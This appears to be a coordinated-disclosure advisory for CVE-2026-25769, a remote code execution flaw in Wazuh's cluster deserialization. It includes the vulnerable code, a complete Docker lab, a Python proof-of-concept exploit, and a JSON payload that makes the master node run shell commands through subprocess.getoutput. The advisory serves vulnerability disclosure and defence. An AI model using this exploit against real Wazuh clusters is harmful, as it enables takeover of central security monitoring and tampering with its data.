CVE-2026-25769 – RCE via Insecure Deserialization in Wazuh Cluster – Remote Command Execution through Cluster Protocol
Abstract
In this research, Hakai Security Research Team has identified a critical Remote Code Execution (RCE) vulnerability in Wazuh versions up to 4.14.1 that allows arbitrary command execution on the master node through insecure deserialization in the cluster communication protocol. The vulnerability stems from the lack of validation in the as_wazuh_object() function, which automatically imports and executes arbitrary Python callables from JSON payloads without enforcing any whitelist.
Exploitation requires only access to a compromised worker node, which provides both the necessary authentication (cluster key) and network access to trigger the vulnerability. Once exploited, an attacker achieves root-level command execution on the master node, compromising the entire security monitoring infrastructure.
After reporting this vulnerability through the GitHub Security Advisory program, the Wazuh security team acknowledged the issue and assigned it the identifier CVE-2026-25769. This publication aims to provide the technical community with a detailed analysis of the vulnerability, its potential impact, and practical mitigation strategies for organizations running Wazuh in production environments.
Impact
This vulnerability allows an attacker with access to a compromised worker node to execute arbitrary commands on the master with Wazuh user privileges. The master node typically has access to security logs, agent configurations, and detection rules across the monitored infrastructure. Exploitation enables command execution on the master, access to centralized security data, and potential lateral movement via agent controls.
Technical Details
The vulnerability exploits the cluster’s JSON deserialization mechanism, which was designed to allow remote function calls between cluster nodes but lacks fundamental security controls.
The flaw was located in framework/wazuh/core/cluster/common.py in the as_wazuh_object() function. This function acts as an object_hook in json.loads() to deserialize messages between cluster nodes.
When processing JSON objects with the __callable__ key, the function performs operations without validation:
Reads __module__ from user-controlled input. Imports the module via import_module() without whitelist. Retrieves arbitrary function via getattr(). Returns the function which is later executed.
Vulnerable Code
# framework/wazuh/core/cluster/common.py:1839-1848
def as_wazuh_object(dct: Dict):
try:
if '__callable__' in dct:
encoded_callable = dct['__callable__']
funcname = encoded_callable['__name__']
if '__wazuh__' in encoded_callable:
wazuh = Wazuh()
return getattr(wazuh, funcname)
else:
qualname = encoded_callable['__qualname__'].split('.')
classname = qualname[0] if len(qualname) > 1 else None
module_path = encoded_callable['__module__'] # no validation
module = import_module(module_path) # arbitrary import
if classname is None:
return getattr(module, funcname) # returns arbitrary function
else:
return getattr(getattr(module, classname), funcname)
Execution Point
The deserialized function is executed in framework/wazuh/core/cluster/dapi/dapi.py:
# Line 705: Deserialization with vulnerable hook request = json.loads(request, object_hook=c_common.as_wazuh_object) # Line 248: Execution of deserialized function data = f(**f_kwargs)
Attack Flow
Compromised worker sends malicious DAPI request via LocalClient.execute(). Message encrypted with cluster key (Fernet) is sent via TCP to master:1516. Master receives and processes via APIRequestQueue.run(). json.loads() calls as_wazuh_object() as object_hook. Deserialization processes {"__callable__": {"__name__": "getoutput", "__module__": "subprocess"}}. Function imports subprocess module and returns subprocess.getoutput. DistributedAPI.run_local() executes f(**f_kwargs). Command executes on master with Wazuh user privileges.
The cluster design assumes implicit trust between authenticated nodes. There is no Python module whitelist. There is no content validation for deserialized functions. There is no sandboxing or execution isolation.
Proof of Concept
File Structure
wazuh-poc/
├── docker-compose.yml
├── master.xml
├── worker.xml
└── exploit/
└── poc.py
docker-compose.yml
services:
master:
image: wazuh/wazuh-manager:4.9.2
hostname: wazuh-master
container_name: poc-master
volumes:
- ./master.xml:/wazuh-config-mount/etc/ossec.conf
networks:
poc-net:
ipv4_address: 172.28.0.10
worker:
image: wazuh/wazuh-manager:4.9.2
hostname: wazuh-worker
container_name: poc-worker
volumes:
- ./worker.xml:/wazuh-config-mount/etc/ossec.conf
- ./exploit:/exploit
depends_on:
- master
networks:
poc-net:
ipv4_address: 172.28.0.11
networks:
poc-net:
driver: bridge
ipam:
config:
- subnet: 172.28.0.0/24
master.xml
<ossec_config>
<global>
<jsonout_output>yes</jsonout_output>
</global>
<remote>
<connection>secure</connection>
<port>1514</port>
<protocol>tcp</protocol>
</remote>
<cluster>
<name>poc</name>
<node_name>master</node_name>
<node_type>master</node_type>
<key>1234567890abcdef1234567890abcdef</key>
<port>1516</port>
<bind_addr>0.0.0.0</bind_addr>
<nodes>
<node>wazuh-master</node>
</nodes>
<disabled>no</disabled>
</cluster>
</ossec_config>
worker.xml
<ossec_config>
<global>
<jsonout_output>yes</jsonout_output>
</global>
<remote>
<connection>secure</connection>
<port>1514</port>
<protocol>tcp</protocol>
</remote>
<cluster>
<name>poc</name>
<node_name>worker01</node_name>
<node_type>worker</node_type>
<key>1234567890abcdef1234567890abcdef</key>
<port>1516</port>
<bind_addr>0.0.0.0</bind_addr>
<nodes>
<node>wazuh-master</node>
</nodes>
<disabled>no</disabled>
</cluster>
</ossec_config>
exploit/poc.py
#!/usr/bin/env python3
import json, asyncio, importlib.util
def load_module(path):
spec = importlib.util.spec_from_file_location('m', path)
m = importlib.util.module_from_spec(spec)
spec.loader.exec_module(m)
return m
payload = {
"f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
"f_kwargs": {"cmd": "id > /tmp/RCE_PROOF && date >> /tmp/RCE_PROOF"},
"request_type": "local_master"
}
async def main():
lc = load_module('/var/ossec/framework/wazuh/core/cluster/local_client.py').LocalClient()
await lc.start()
print(f"Sending: {json.dumps(payload)}")
await lc.execute(command=b'dapi', data=json.dumps(payload).encode())
asyncio.run(main())
Reproduction Steps
# Start cluster docker compose up -d # Wait for initialization sleep 90 # Verify cluster is connected docker exec poc-master /var/ossec/bin/cluster_control -l # Execute exploit from worker docker exec poc-worker /var/ossec/framework/python/bin/python3 /exploit/poc.py # Verify code execution on master docker exec poc-master cat /tmp/RCE_PROOF # Expected output: # uid=999(wazuh) gid=999(wazuh) groups=999(wazuh),0(root)
Detailed Analysis
The Vulnerable Hook: as_wazuh_object()
Location: framework/wazuh/core/cluster/common.py
The as_wazuh_object() function is registered as object_hook in json.loads(). This means that every json object during deserialization passes through this function, allowing custom transformation of dictionaries into Python objects.
def as_wazuh_object(dct: Dict):
try:
if '__callable__' in dct:
encoded_callable = dct['__callable__']
funcname = encoded_callable['__name__']
if '__wazuh__' in encoded_callable:
# Legitimate case: internal Wazuh method
wazuh = Wazuh()
return getattr(wazuh, funcname)
else:
# Vulnerable case: arbitrary function
qualname = encoded_callable['__qualname__'].split('.')
classname = qualname[0] if len(qualname) > 1 else None
module_path = encoded_callable['__module__'] # Unvalidated input
module = import_module(module_path) # Imports any module
if classname is None:
return getattr(module, funcname) # Returns arbitrary function
else:
return getattr(getattr(module, classname), funcname)
Deserialization Point
Location: framework/wazuh/core/cluster/dapi/dapi.py
class APIRequestQueue:
async def run(self):
while True:
# Receives encrypted request from worker
encrypted_request = await self.receive_from_worker()
# Decrypts with cluster Fernet key
decrypted_request = self.decrypt(encrypted_request)
# The object_hook transforms json into executable Python objects
request = json.loads(
decrypted_request,
object_hook=c_common.as_wazuh_object
)
The problem: The architecture assumes that decrypted data is trustworthy. However, a compromised worker has the encryption key and can send malicious payloads that pass cryptographic validation but contain arbitrary import instructions.
Execution Point
Location: framework/wazuh/core/cluster/dapi/dapi.py
class DistributedAPI:
async def run_local(self, f, f_kwargs, request_type='local_master'):
try:
# f = subprocess.getoutput (deserialized function)
# f_kwargs = {"cmd": "id > /tmp/RCE_PROOF"}
data = f(**f_kwargs) # Arbitrary execution
return {'result': data, 'status': 'success'}
except Exception as e:
return {'error': str(e), 'status': 'failed'}
Execution result:subprocess.getoutput(cmd="id > /tmp/RCE_PROOF && date >> /tmp/RCE_PROOF")
Malicious Payload Construction
The payload exploits the structure expected by as_wazuh_object():
{
"f": {
"__callable__": {
"__name__": "getoutput",
"__module__": "subprocess",
"__qualname__": "getoutput"
}
},
"f_kwargs": {
"cmd": "id > /tmp/RCE_PROOF && date >> /tmp/RCE_PROOF"
},
"request_type": "local_master"
}
Why Exploitation is Reliable
Once the attacker has access to a worker node, exploitation is consistent because the worker already has the Fernet key for communication with the master. The master does not validate which functions can be deserialized. The function is executed immediately after deserialization. Code executes with full Wazuh process privileges.
PoC Demo
Recommendations
Upgrade the affected component to the latest Wazuh released version to ensure all security patches are applied. Additionally, review and restrict the permissions granted to the service, following the principle of least privilege so that it operates only with the access strictly required for its intended functionality.
Conclusion
The insecure deserialization vulnerability in Wazuh cluster represents a significant risk for organizations that depend on this solution for security monitoring. The ability to compromise the master node from any vulnerable worker demonstrates a flaw in the cluster’s trust architecture.
Compromise of a central SIEM has implications beyond a single compromised server. Security teams operate with false information. Tampered logs invalidate certifications. Attackers maintain access without detection. The master has privileged access to all monitored agents.
This publication alerts the technical community about security implications in distributed monitoring systems and reinforces the importance of robust deserialization validation, especially in critical security infrastructure components.
Thanks to the Wazuh team for their professionalism and transparent communication during the coordinated disclosure.